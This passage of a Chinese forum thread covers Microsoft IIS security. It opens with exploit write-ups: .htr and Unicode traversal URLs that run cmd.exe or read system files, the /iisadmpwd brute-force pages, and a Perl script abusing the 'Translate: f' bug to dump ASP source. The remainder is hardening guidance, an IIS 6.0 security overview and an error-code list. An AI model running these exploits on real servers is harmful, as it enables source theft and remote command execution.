,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打
开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间
来返回一些你要打开的文件内容。可是要注意,除非 WEB 服务停止并重启过,否则这攻
击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它
只能在 ISM.DLL 第一次装入内存时工作。
"http://www.目标机.com/global.asa%20%20...<=230)global.asa.htr"

(11)、存在的一些暴力破解威胁.htr程序
  IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你
的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个
虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些
文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让
你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这
个目录。

(12)、Translate:f Bug
  这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578),其问题是存在
OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/
ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件后面加/就
会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP20
00也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用
这个漏洞:
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&
sub connect {
if ($#ARGV < 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, ">;$server.txt");
print "Dumping $cm to $server.txt \n";
while() {
print OUT ;
}
sub howto {
print "type as follows: Trans.pl "www.目标机.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}
  你可以使用下面的方法来获得源代码:
Trasn.pl "www.目标机.com default.asp
(13)、IIS存在的Unicode解析错误漏洞
  NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个
安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名
包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误
的打开或者执行某些web根目录以外的文件。   你可以使用下面的方法利用这个漏洞

(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前
目录的内容:
"http://www.目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
(2) 利用这个漏洞查看系统文件内容也是可能的:
"http://www.目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini"
这个漏洞是针对中文操作平台,你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本,
原因就是编码不同。
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

安全维护IIS高级技巧  

一:安装过程中的IIS 与 asp安全防护。(这里只考虑是web服务器,而不是本地机子上的web开发平台)  

首先,开始重装IIS。  

这次安装的策略就是安全,够用。去掉一些多余的东西。  

一:FTP不要安装了,功能不好,还容易出错,并且漏洞很大。Ftp缺省传输密码的过程可是明文传送,很容易被人截获。(可以考虑用第三方工具。)  

二:一切实例、文档也不要安装了。这是在web服务器上,最好不要这些例子,事实证明可以从这些例子站点突破IIS的防线的。  

三:安装时选择站点目录,建议不要用缺省目录c:\inetpub,最好安装道不是系统盘的盘上。如:d:\IISWEB,可以考虑自建目录。这样即使IIS被突破,也能尽可能的保护好系统文件了。  

四:不要安装html的远程管理。html的远程管理在winnt 4.0还能用的上,但漏洞比较大,而且比较危险,端口号虽然是随机的,但很容易被人扫描道,从而留下隐患。事实上,我们可以通过另一台服务器上的IIS来管理他。这样比较安全。  

五:多余的服务也不要安了,如NNtp,如果不做新闻组。就不要安了。smtp,如果有更好的邮件服务,也不要装他了。  

六:索引服务器。这个索引真的是很有用,但我没有用过他。否则,你可以用他建立个整个站点的文件搜索的,但现在好像大多数的asp网页都是一个网页,动态从数据库里查询。所以根本用不上索引服务器了,(不是索引不好,而是本身上面的那种asp文件结构就不适合)所以可以不要安装。  


二:有目的进行安全配置。  

1:开发前的工作。  

首先,启动IIS后,看有没有\iissamples,\IIShelp,\msadc\,这些目录,如果有,他们大多是用来作为例子,帮助安装的,删掉他们,再把脚本库也删掉,直到web目录只留下干静的新建的虚拟目录即可,如果有管理的web站点,也删掉他。没有他,我们一样可以工作的更好。 还有看看有没有printer的文件夹,他们大多数都是些通过web来访问打印机的。MS就是怪。为了表示我的功力强大,允许通过web来远程打印。相信没有哪个网络公司是通过web网来打印的把。也不可能让网友来使用你的计算机吧。那好,去掉他。  

然后。开始详细配置各个web虚拟目录的安全。大概的策略是这样的。  

分类每个文件夹管理,如,可以吧扩展名是相同的分配到同一目录,如*.asp的,和*.inc就尽量分开。如果是*.asp的,则开放虚拟目录权限,但将实际目录权限授予administrator,system(完全控制)everyone (rc)即可。这样可以通过web允许读取。但实际上你可以加大安全力度,如果你认位他是比较保密的。如果是*.inc的,则开放目录权限,但不允许通过直接访问。这里又一个技巧了。比如。你可以允许实际目录被everyone访问,但在IIS中,你把改目录浏览项去掉,则改包含文件只能被源文件读取,但不允许被直接读许。这样,他就不可能下在倒一些你的单机数据库了。而且你的*.inc文件也不会被浏览器直接阅读。  

刚才我的老弟“梦”还在问我,有没有办法可以让别人看不到你的连接字符串,你可以试试下面的方法!  

1 首先建立连接字符串,并建立一个单独的文件*.inc(要是*.inc的,不要*.asp的)你把你的连接字符串用变量复制进来。  

如:connstr="&quotrovider=SQLOLEDB.1assword=passw;...................."  

2 然后建立一个文件夹include,放在根目录里。  

3 然后每一个文件用下面的办法打开连接。  

如:  

set conn=server.createobject("adodb.connection")  

conn.open connstr  

4 最后在iis里把include 文件夹用拒绝读的方法保护起来。你会发现,你的连接可以照常打开,但是如果对方看到你的源代码,他也看不到连接字符串,即使他看到了包含文件路径及名称。他也无法下载,或是用ie 打开。所以,可以保护你的连接字符串了。  

这里用的方法是Nt 权限与 IIS权限的共同审核。我们知道,为了让用户从web上访问道服务器的文件,每个安装了IIS后的服务器都会有两个内置账号。I_USExxxxxx,I_WAMxxxxxx(x为你的机器名),这样你就可以有的放矢的防治某些从你的web网络查看你的必要信息的用户了。  

当然,还有一些比较好的文件策略你可以参考一下:  

如:CGI (.exe, .dll, .cmd, .pl)Everyone (X)不允许读去,运行。Administrators(完全控制)System(完全控制)  

所以,你在编写asp应用程序时,尽量归类好你的目录。方便用IIS和NT进行管理。  

如。采用下列结构比较好  

d:\web\asptest\static (放置*.htm)  

d:\web\asptest\script (放置*.asp)  

d:\web\asptest\include(放置*.inc)  

d:\web\asptest\images (放置*.gif,*.jpg)  

这样你就可以用上面的方法来达到安全目的了。  

2:启用日志监测。  

这是亡羊补牢的好工具,至少你可以用它来监测谁通过webl干了什么,当然,你还要保护该日志的权限只能是被系统管理员。和超级管理所控制。这样避免某些人的干了某些事而不留痕迹。为了留好现场而又不影响IIS的响应速度。还是建议选则w3c扩展日志格式比较好。(以前别人介绍我用ODBC,看来比较方便,但实际上不是这样。他受到数据库的影响很大。而且速度较慢了)。  

可以考虑纪录下一下现场数据:  

客户 IP 地址  

用户名  

方法  

URI 资源  

HTTP 状态  

Win32 状态  

用户代理  

服务器 IP 地址  

服务器端口  

如果在一台计算机上有多个 Web 服务器,则后两种属性非常有用。Win32 状态属性对于调试非常有用。  

检查日志时,密切注意错误 5,这意味着访问被拒绝。在命令行上输入 net helpmsg err,可找出其它Win32 错误的含义,其中 err 是要查找的错误号。  

3:配置合适的脚本映射。  

相信我,大部分的asp源代码泄漏都是通过不安全,或是有错误的脚本映射导致的。而他们中的大多数可能你用不到。如下面我说的。  

1 *.htr这是一个比较厉害的文件,他是web应用程序的一种。同hta一样。这是些比较厉害的功能,但介绍很少。hta就是一种html 格式的 application,功能比较强大。切安全性比htm要低。所以可能会导致功能强大的操作。比如htr就可以通过web来重社密码。相信我们大多数的asp程序员和NT网管不需要这个把。那好,把他的对应选项删掉好了。否则,任何人都可以通过你的web来进行非法操作,甚至格式化掉你的硬盘。  

2 *.hta 这个我已经说过了,他是把双刃剑,用的好,你可以通过他来访问nt的很多操作,在asp上开nt用户也是可能的。但大多数的工作可以不通过web来事最好的。而*.hta在web很少用到,虽然他在iis4.0就推出了。比如,你把一个文件保存成*.hta,你就可以用ie打开。看看,很奇怪的界面吧。听ms的工程师说.net中吧*.hta换了个说法,功能加大了。看来网管的工作又该加大了。如果你想安全一些。删掉吧。  

3 *.idc 这个东东是个比较老的数据库连接方法了,现在大多数都直接用asp文件。不用idc了,所以删掉他。  

4 *.printer这个是打印机文件。去掉他好了  

5 *.htw , *.ida *.idq这些都是索引文件,也可以去掉了。  
四:好的安全习惯。  

账号策略,密码策略  

这些其实都在我的前两片贴子贴过了。,等等,感兴趣的可以看看相关文章。  

另外。还要注意要多上ms的站点,看看安全公告。(MS的访问量就是这样长期排行世界前三的!)  

还要准备好一些第三方的工具。如扫描工具,模拟攻击工具。多上安全站点看看。  

如果你可以交道一些比较好的黑道朋友(我另一个师兄家家的方法),也是比较好的。(黑道是黑客走的路!)  

4:防止asp代码被泄漏。  

这里只能说是防止,我只有从已经发现的看asp方法的漏洞入手,现在对于iis4.0则几乎有20种以上的办法,但安装了sp6a后有两种,可以到微软的网站安全公告下载2000-8月后的补丁可以解决。但如果你用了本文上面的方法。可以装到sp6就可以了。  

如果是win2000 server,则有两种方法。安了sp1后,还有一种,所以你必须倒微软安全公告栏去下载相应的hotfix。可以解决。  

5:防止恶意的破坏。  

这个功能能对付一些被你监测到的不良分子,你可以在日志中、或第三方工具看到到底是谁在不停的探测、破坏你的IIS,那么把他列为不收欢迎的黑名单,这样,你再配置站点时可以对其IP,或域进行拒绝访问,不过这一过程是要付出代价的,你的IIS要担任反向查找的功能。可能会比较耗时。  

6: 安全的话题。  

以上还只是IIS与asp的。如果你要用道数据库。用道远程管理,用道远程连接数据库。那还要分别注意。正如我说的。没有绝对的安全。而这也才是安全的需要。关于安全的话题,没有结束,只有待续。。。。。
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

由于Web服务器被越来越多的骇客和蠕虫制造者作为首要攻击目标,IIS便也成为了Microsoft可信赖计算计划中首要关注的内容。因此,IIS 6.0被完全的重新设计,以实现默认安全和设计安全。本文主要讲述了IIS 6.0在默认设置和设计上安全性的改变是如何使其成为关键web应用的平台。

   默认安全

   过去,包括像微软这样的企业,都在他们的web服务器上安装一系列的默认示例脚本,文件处理和最小文件授权,以提高管理员管理的灵活性和可用性。但是,这些默认设置都增加了IIS的被攻击面,或者成为了攻击IIS的基础。因此,IIS 6.0被设计成了一个比早期产品更安全的平台。最显而易见的变化是IIS 6.0并没有被Windows Server 2003默认安装,而是需要管理员显式的安装这个组件。其他的变化包括:

   ·默认只安装静态HTTP服务器

   IIS 6.0的默认安装被设置为仅安装静态HTML页面显示所需的组件,而不允许动态内容。下表比较了IIS 5.0和IIS 6.0的默认安装设置:

IIS 组件
IIS 5.0

默认安装
IIS 6.0

默认安装

Static file support(静态文件支持)
启用
启用

ASP
启用
禁用

Server-side includes(服务器端包含)
启用
禁用

Internet Data Connector(Internet数据连接器)
启用
禁用

WebDAV
启用
禁用

Index Server ISAPI(索引服务)
启用
禁用

Internet Printing ISAPI(Internet打印)
启用
禁用

CGI
启用
禁用

Microsoft FrontPage® server extensions

(FrontPage服务器端扩展)
启用
禁用

Password change interface(更改密码界面)
启用
禁用

SMTP
启用
禁用

FTP
启用
禁用

ASP.NET

禁用

Background Intelligence Transfer Service

(后台智能传输服务)

禁用



   ·默认不安装应用范例

   IIS 6.0中不再包括任何类似showcode.asp或codebrws.asp等的范例脚本或应用。这些程序原被设计来方便程序员快速察看和调试数据库的连接代码,但是由于showcode.asp和codebrws.asp没有正确的进行输入检查,以确定所访问的文件是否位于站点根目录下。这就允许攻击者绕过它去读取系统中的任何一个文件(包括敏感信息和本应不可见的配置文件),参考以下链接以获取该漏洞的更多的细节: http://www.microsoft.com/technet ... lletin/MS99-013.asp

   ·增强的文件访问控制

   匿名帐号不再具有web服务器根目录的写权限。另外,FTP用户也被相互隔离在他们自己的根目录中。这些限制有效的避免了用户向服务器文件系统的其他部分上传一些有害程序。例如攻击者可以向/scripts目录上传一些有害的可执行代码,并远程执行这些代码,从而攻击web站点。

   ·虚拟目录不再具有执行权限

   虚拟目录中不再允许执行可执行程序。这样避免了大量的存在于早期IIS系统中的目录遍历漏洞、上传代码漏洞以及MDAC漏洞。

   ·去除了子验证模块

   IIS 6.0中去除了IISSUBA.dll。任何在早期IIS版本中,需要该DLL模块来验证的账号,现在需要具有"从网络上访问这台计算机"的权限。这个DLL模块的去除,可以强制要求所有的访问都直接去SAM或者活动目录进行身份验证,从而减少IIS可能的被攻击面。

   ·父目录被禁用

   IIS 6.0中默认禁用了对父目录的访问。这样可以避免攻击者跨越web站点的目录结构,访问服务器上的其他敏感文件,如SAM文件等。当然也请注意,由于父目录默认被禁用,这可能导致一些从早期版本IIS上迁移过来的应用由于无法使用父目录而出错。

   安全设计

   IIS 6.0设计中安全性的根本改变表现在:改善的数据有效性、增强的日志功能、快速失败保护、应用程序隔离和最小权限原则。

   改善的数据有效性

   IIS 6.0设计上的一个主要新特性是工作在内核模式的HTTP驱动--HTTP.sys。它不仅提高了web服务器的性能和可伸缩性,而且极大程度的加强了服务器的安全性。HTTP.sys作为web服务器的门户,首先解析用户对web服务器的请求,然后指派一个合适的用户级工作进程来处理请求。工作进程被限制在用户模式以避免它访问未授权的系统核心资源。从而极大的限制了攻击者对服务器保护资源的访问。

   IIS 6.0通过在内核模式的驱动中整合一系列的安全机制,以提升其设计上固有的安全性。这些机制包括避免潜在的缓冲溢出,改善的日志机制以辅助事件响应进程和检查用户有效性请求的先进URL解析机制。

   为了第一时间的避免潜在的缓冲区和内存溢出漏洞的利用,微软通过在HTTP.sys中进行特殊的URL解析设置以实现IIS 6.0安全设计中的深度防御原则。这些设置还可以通过修改注册表中特定的键值来进一步优化。下表提供了主要注册表键值的位置(均在以下路径HKLM\System\CurrentControlSet\Services\HTTP\Parameters):

AllowRestrictedChars
这个键接受布尔值内容,非零值表明允许HTTP.sys接受十六进制编码的URL请求。其默认值为0。这个值也被推荐设置为0,以迫使请求在服务器级就进行输入检查。如果设置为1,可能导致攻击者通过十六进制编码的恶意请求来绕过输入检查。

MaxFieldLength
这个键允许管理员设置每个HTTP头的大小上限(以Byte为单位),它的默认值是16KB。

MaxRequestBytes
这个键用来确定请求行和HTTP头的总大小上限。它的默认值也是16KB。

UrlSegmentMaxCount
这个键决定了服务器可以接受的URL地址中目录深度的最大值。它有效地限制用户URL请求中的反斜杠“/”的数量。建议将这个值根据web目录的深度进行严格的控制,以避免服务器遭受文件遍历攻击。其默认值为255。

UrlSegmentMaxLength
这个键决定了URL请求中每个路径段的字符长度的最大值。这个值也应该根据主机的普通应用来设置,以避免接受超常地址请求而导致应用异常。其默认值为260。

EnableNonUTF8
这个键控制了HTTP.sys允许的字符编码格式。默认值1允许HTTP.sys接受ANSI和DBCS编码的URL地址,其他值允许UTF8的编码格式。



   增强的日志机制

   一个全面的日志是检测或响应一个安全事故的基础要求。微软也意识到了在HTTP.sys中进行全面的、可靠的日志机制的重要性。HTTP.sys在将请求指派给特定的工作进程之前就进行日志记录。这样可以保证,即使工作进程中断了,也会保留一个错误日志。日志由发生错误的时间戳、来源目的IP和端口、协议版本、HTTP动作、URL地址、协议状态、站点ID和HTTP.sys的原因解释等条目构成。原因解释能够提供详细的错误产生原因的信息,如由于超时导致的错误,或由于工作进程的异常终止而引发的应用程序池强行切断连接而导致的错误。

   以下连接可以看到HTTP.sys日志文件的示例:http://www.microsoft.com/technet ... /iisrg_log_qlow.asp

   快速失败保护

   除了修改注册表,IIS 6.0的管理员还可以通过服务器设置,来使那些在一段时间内反复失败的进程关闭或者重新运行。这个附加的保护措施是为了防止应用程序因为受到攻击而不断地出错。这个特性就叫做快速失败保护。

   快速失败保护可以按照以下步骤在Internet信息服务管理工具中配置:

   1. 在Internet信息服务(IIS)管理器中,展开本地计算机。

   2. 展开应用程序池。

   3. 在要设定快速失败保护的应用程序池上单击鼠标右键。

   4. 选择属性。

   5. 选择运行状况选项卡,勾选启用快速失败保护。

   6. 在失败数中,填写可以忍受的工作进程失败次数(在结束这个进程之前)。     7. 在时间段中,填写累计工作进程失败次数统计的时间。

   应用程序隔离

   在早期版本的IIS中(5.0和以前的版本),由于将web应用程序隔离在独立的单元将会导致严重的性能下降,因此没有实现应用程序隔离。通常一个web应用程序的失败会影响同一服务器上其他应用程序。然而,IIS 6.0在处理请求时,通过将应用程序隔离成一个个叫做应用程序池的孤立单元这种设计上的改变,成倍的提高了性能。每个应用程序池中通常由一个或多个工作进程。这样就允许确定错误的位置,防止一个工作进程影响其他工作进程。这种机制也提高了服务器以及其上应用的可靠性。

   坚持最小特权原则

   IIS 6.0坚持一个基本安全原则--最小特权原则。也就是说,HTTP.sys中所有代码都是以Local System权限执行的,而所有的工作进程,都是以Network Service的权限执行的。Network Service是Windows 2003中新内置的一个被严格限制的账号。另外,IIS 6.0只允许管理员执行命令行工具,从而避免命令行工具的恶意使用。这些设计上的改变,都降低了通过潜在的漏洞攻击服务器的可能性。部分基础设计上的改变、一些简单配置的更改(包括取消匿名用户向web服务器的根目录写入权限,和将FTP用户的访问隔离在他们各自的主目录中)都极大地提高了IIS 6.0的安全性。

   IIS 6.0是微软公司在帮助客户提高安全性上迈出的正确一步。它为Web应用提供了一个可靠的安全的平台。这些安全性的提高应归功于IIS 6.0默认的安全设置,在设计过程中就对安全性的着重考虑,以及增强的监视与日志功能。但是管理员不应该认为仅通过简单的迁移到新平台就可以获得全面的安全。正确的做法是应该进行多层面的安全设置,从而获得更全面的安全性。这也与针对Code Red和Nimda病毒威胁而进行的深度安全防御原则是一致的。
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

一、安装过程中的IIS与ASP安全防护。
我开始部署Win2000 Web服务器的安全策略,找到asp代码被泄漏的原因。原来,我的补丁每次打得都比较及时的,但一次因为卸载FTP时,重装了IIS,而这之后,我并没有再打补丁而导致最新的漏洞web解析出错。就是那个较新的漏洞,用这个加上一些工具就可以看到asp的代码了。
首先,开始重装IIS。这次安装的策略就是安全,够用。去掉一些多余的东西。
1、FTP不要安装了,功能不好,还容易出错,并且漏洞很大。Ftp缺省传输密码的过程可是明文传送,很容易被人截获,可以考虑用第三方工具。
2、一切实例、文档也不要安装了。这是在web服务器上,最好不要这些例子,事实证明可以从这些例子站点突破IIS的防线的。
3、安装时选择站点目录,建议不要用缺省目录c:\inetpub,最好安装道不是系统盘的盘上。如:d:\IISWEB,可以考虑自建目录。这样即使IIS被突破,也能尽可能的保护好系统文件了。
4、不要安装html的远程管理。html的远程管理在WinNT 4.0还能用的上,但漏洞比较大,而且比较危险,端口号虽然是随机的,但很容易被人扫描道,从而留下隐患。事实上,我们可以通过另一台服务器上的IIS来管理他。这样比较安全。
5、多余的服务也不要安了,如NNtp,如果不做新闻组。就不要安了。smtp,如果有更好的邮件服务,也不要装他了。
6、索引服务器。这个索引真的是很有用,但我没有用过他。否则,你可以用他建立个整个站点的文件搜索的,但现在好像大多数的asp网页都是一个网页,动态从数据库里查询。所以根本用不上索引服务器了,(不是索引不好,而是本身上面的那种asp文件结构就不适合)所以可以不要安装。
二、有目的进行安全配置。
1、开发前的工作。首先,启动IIS后,看有没有\iissamples,\IIShelp,\msadc\,这些目录,如果有,他们大多是用来作为例子,帮助安装的,删掉他们,再把脚本库也删掉,直到web目录只留下干静的新建的虚拟目录即可,如果有管理的web站点,也删掉他。没有他,我们一样可以工作的更好。 还有看看有没有printer的文件夹,他们大多数都是些通过web来访问打印机的。MS就是怪。为了表示我的功力强大,允许通过web来远程打印。相信没有哪个网络公司是通过web网来打印的把。也不可能让网友来使用你的计算机吧。那好,去掉他。然后。开始详细配置各个web虚拟目录的安全。大概的策略是这样的。分类每个文件夹管理,如,可以吧扩展名是相同的分配到同一目录,如*.asp的,和*.inc就尽量分开。如果是*.asp的,则开放虚拟目录权限,但将实际目录权限授予administrator,system(完全控制)everyone (rc)即可。这样可以通过web允许读取。但实际上你可以加大安全力度,如果你认位他是比较保密的。如果是*.inc的,则开放目录权限,但不允许通过直接访问。这里又一个技巧了。比如。你可以允许实际目录被everyone访问,但在IIS中,你把改目录浏览项去掉,则改包含文件只能被源文件读取,但不允许被直接读许。这样,他就不可能下在倒一些你的单机数据库了。而且你的*.inc文件也不会被浏览器直接阅读。刚才我的老弟“梦”还在问我,有没有办法可以让别人看不到你的连接字符串,你可以试试下面的方法!
1、首先建立连接字符串,并建立一个单独的文件*.inc(要是*.inc的,不要*.asp的)你把你的连接字符串用变量复制进来。如:onnstr="&quotrovider=SQLOLEDB.1assword=passw;...................."
2、然后建立一个文件夹include,放在根目录里。
3、然后每一个文件用下面的办法打开连接。如:
set conn=server.createobject("adodb.connection")
conn.open connstr
4、最后在iis里把include文件夹用拒绝读的方法保护起来。你会发现,你的连接可以照常打开,但是如果对方看到你的源代码,他也看不到连接字符串,即使他看到了包含文件路径及名称。他也无法下载,或是用ie 打开。所以,可以保护你的连接字符串了。
这里用的方法是NT权限与IIS权限的共同审核。我们知道,为了让用户从web上访问道服务器的文件,每个安装了IIS后的服务器都会有两个内置账号。I_USExxxxxx,I_WAMxxxxxx(x为你的机器名),这样你就可以有的放矢的防治某些从你的web网络查看你的必要信息的用户了。当然,还有一些比较好的文件策略你可以参考一下:如:CGI (.exe, .dll, .cmd, .pl)Everyone (X)不允许读去,运行。Administrators(完全控制)System(完全控制),所以,你在编写asp应用程序时,尽量归类好你的目录。方便用IIS和NT进行管理。
如。采用下列结构比较好:
d:\web\asptest\static (放置*.htm)
d:\web\asptest\script (放置*.asp)
d:\web\asptest\include(放置*.inc)
d:\web\asptest\images (放置*.gif,*.jpg)
这样你就可以用上面的方法来达到安全目的了。
三、启用日志监测。
这是亡羊补牢的好工具,至少你可以用它来监测谁通过webl干了什么,当然,你还要保护该日志的权限只能是被系统管理员。和超级管理所控制。这样避免某些人的干了某些事而不留痕迹。为了留好现场而又不影响IIS的响应速度。还是建议选则w3c扩展日志格式比较好。(以前别人介绍我用ODBC,看来比较方便,但实际上不是这样。他受到数据库的影响很大。而且速度较慢了)。可以考虑纪录下一下现场数据:
客户 IP 地址
用户名
方法
URI 资源
HTTP 状态
Win32 状态
用户代理
服务器 IP 地址
服务器端口
如果在一台计算机上有多个 Web 服务器,则后两种属性非常有用。Win32状态属性对于调试非常有用。检查日志时,密切注意错误 5,这意味着访问被拒绝。在命令行上输入net helpmsg err,可找出其它Win32错误的含义,其中err是要查找的错误号。
四、配置合适的脚本映射。
大部分的asp源代码泄漏都是通过不安全,或是有错误的脚本映射导致的。而他们中的大多数可能你用不到。如下面我说的。
1、*.htr这是一个比较厉害的文件,他是web应用程序的一种。同hta一样。这是些比较厉害的功能,但介绍很少。hta就是一种html格式的application,功能比较强大,且安全性比htm要低。所以可能会导致功能强大的操作。比如htr就可以通过web来重社密码。相信我们大多数的asp程序员和NT网管不需要这个把。那好,把他的对应选项删掉好了。否则,任何人都可以通过你的web来进行非法操作,甚至格式化掉你的硬盘。
2、*.hta这个我已经说过了,他是把双刃剑,用的好,你可以通过他来访问nt的很多操作,在asp上开nt用户也是可能的。但大多数的工作可以不通过web来事最好的。而*.hta在web很少用到,虽然他在iis4.0就推出了。比如,你把一个文件保存成*.hta,你就可以用ie打开。看看,很奇怪的界面吧。听ms的工程师说.net中吧*.hta换了个说法,功能加大了。看来网管的工作又该加大了。如果你想安全一些。删掉吧。
3、*.idc这个东东是个比较老的数据库连接方法了,现在大多数都直接用asp文件。不用idc了,所以删掉他。
4、*.printer这个是打印机文件。去掉他好了。
5、*.htw , *.ida *.idq这些都是索引文件,也可以去掉了。
五、防止asp代码被泄漏。
这里只能说是防止,我只有从已经发现的看asp方法的漏洞入手,现在对于iis4.0则几乎有20种以上的办法,但安装了sp6a后有两种,可以到微软的网站安全公告下载2000-8月后的补丁可以解决。但如果你用了本文上面的方法。可以装到sp6就可以了。如果是win2000 server,则有两种方法。安了sp1后,还有一种,所以你必须倒微软安全公告栏去下载相应的hotfix。可以解决。
六、防止恶意的破坏。
这个功能能对付一些被你监测到的不良分子,你可以在日志中、或第三方工具看到到底是谁在不停的探测、破坏你的IIS,那么把他列为不收欢迎的黑名单,这样,你再配置站点时可以对其IP,或域进行拒绝访问,不过这一过程是要付出代价的,你的IIS要担任反向查找的功能。可能会比较耗时。
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

400 无*解析此请求。
401.1 未经授权:访问由于凭据无效被拒绝。
401.2 未经授权: 访问由于服务器配置倾向使用替代身份验证方*而被拒绝。
401.3 未经授权:访问由于 ACL 对所请求资源的设置被拒绝。
401.4 未经授权:Web 服务器上安装的筛选器授权失败。
401.5 未经授权:ISAPI/CGI 应用程序授权失败。
401.7 未经授权:由于 Web 服务器上的 URL 授权策略而拒绝访问。
403 禁止访问:访问被拒绝。
403.1 禁止访问:执行访问被拒绝。
403.2 禁止访问:读取访问被拒绝。
403.3 禁止访问:写入访问被拒绝。
403.4 禁止访问:需要使用 SSL 查看该资源。
403.5 禁止访问:需要使用 SSL 128 查看该资源。
403.6 禁止访问:客户端的 IP 地址被拒绝。
403.7 禁止访问:需要 SSL 客户端证书。
403.8 禁止访问:客户端的 DNS 名称被拒绝。
403.9 禁止访问:太多客户端试图连接到 Web 服务器。
403.10 禁止访问:Web 服务器配置为拒绝执行访问。
403.11 禁止访问:密码已更改。
403.12 禁止访问:服务器证书映射器拒绝了客户端证书访问。
403.13 禁止访问:客户端证书已在 Web 服务器上吊销。
403.14 禁止访问:在 Web 服务器上已拒绝目录列表。
403.15 禁止访问:Web 服务器已超过客户端访问许可证限制。
403.16 禁止访问:客户端证书格式错误或未被 Web 服务器信任。
403.17 禁止访问:客户端证书已经到期或者尚未生效。
403.18 禁止访问:无*在当前应用程序池中执行请求的 URL。
403.19 禁止访问:无*在该应用程序池中为客户端执行 CGI。
403.20 禁止访问:Passport 登录失败。
404 找不到文件或目录。
404.1 文件或目录未找到:网站无*在所请求的端口访问。
注意 404.1 错误只会出现在具有多个 IP 地址的计算机上。如果在特定 IP 地址/端口组合上收到客户端请求,而且没有将 IP 地址配置为在该特定的端口上侦听,则 IIS 返回 404.1 HTTP 错误。例如,如果一台计算机有两个 IP 地址,而只将其中一个 IP 地址配置为在端口 80 上侦听,则另一个 IP 地址从端口 80 收到的任何请求都将导致 IIS 返回 404.1 错误。只应在此服务级别设置该错误,因为只有当服务器上使用多个 IP 地址时才会将它返回给客户端。
404.2 文件或目录无*找到:锁定策略禁止该请求。
404.3 文件或目录无*找到:MIME 映射策略禁止该请求。
405 用于访问该页的 HTTP 动作未被许可。
406 客户端浏览器不接受所请求页面的 MIME 类型。
407 Web 服务器需要初始的代理验证。
410 文件已删除。
412 客户端设置的前提条件在 Web 服务器上评估时失败。
414 请求 URL 太大,因此在 Web 服务器上不接受该 URL。
500 服务器内部错误。
500.11 服务器错误:Web 服务器上的应用程序正在关闭。
500.12 服务器错误:Web 服务器上的应用程序正在重新启动。
500.13 服务器错误:Web 服务器太忙。
500.14 服务器错误:服务器上的无效应用程序配置。
500.15 服务器错误:不允许直接请求 GLOBAL.ASA。
500.16 服务器错误:UNC 授权凭据不正确。
500.17 服务器错误:URL 授权存储无*找到。
500.18 服务器错误:URL 授权存储无*打开。
500.19 服务器错误:该文件的数据在配置数据库中配置不正确。
500.20 服务器错误:URL 授权域无*找到。
500 100 内部服务器错误:ASP 错误。
501 标题值指定的配置没有执行。
502 Web 服务器作为网关或代理服务器时收到无效的响应。
WIN2003 SERVER IIS6.0 ASP 错误解析
事件 ID 描述
0100 内存不足。无*分配所需的内存。
0101 意外错误。函数返回 |。
0102 要求字符串输入。函数需要字符串输入。
0103 要求数字输入。函数需要数字输入。
0104 不允许操作。
0105 索引超出范围。数组索引超出范围。
0106 类型不匹配。遇到未处理的数据类型。
0107 数据大小太大。请求中发送的数据大小超出允许的限制。
0108 创建对象失败。创建对象 '%s' 时出错。
0109 成员未找到。
0110 未知的名称。
0111 未知的界面。
0112 参数丢失。
0113 脚本超时。超过了脚本运行的最长时间。可以通过为 Server.ScriptTimeout 属性指定一个新值或在 IIS 管理工具中修改值来更改此限制。
0114 对象不可用于自由线程。应用程序对象仅接受自由线程对象;而对象 '%s' 不可用于自由线程。
0115 意外错误。外部对象中发生一个可捕捉的错误 (%X)。脚本无*继续运行。
0116 脚本分隔符结束标记丢失。脚本块缺少脚本结束标记 (%>)。
